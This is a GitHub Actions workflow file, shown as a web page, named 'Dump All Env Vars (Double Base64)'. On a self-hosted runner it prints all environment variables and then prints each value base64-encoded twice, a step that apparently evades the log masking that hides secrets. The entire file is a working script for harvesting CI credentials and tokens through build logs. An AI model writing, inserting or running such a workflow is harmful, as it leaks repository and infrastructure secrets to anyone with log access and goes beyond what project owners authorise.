Dump All Env Vars (Double Base64) #1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: Dump All Env Vars (Double Base64) | |
on: | |
workflow_dispatch: | |
jobs: | |
dump-env: | |
runs-on: self-hosted | |
steps: | |
- name: Checkout code | |
uses: actions/checkout@v4 | |
- name: Dump and double‑encode all env vars | |
run: | | |
echo "### RAW ENVIRONMENT VARIABLES ###" | |
env | |
echo | |
echo "### DOUBLE BASE64‑ENCODED ENV VARS ###" | |
# Loop through each variable, encode twice, and print | |
while IFS='=' read -r name value; do | |
# First Base64 encode, then again | |
enc=$(printf '%s' "$value" | base64 | base64) | |
printf '%s=%s\n' "$name" "$enc" | |
done < <(env) |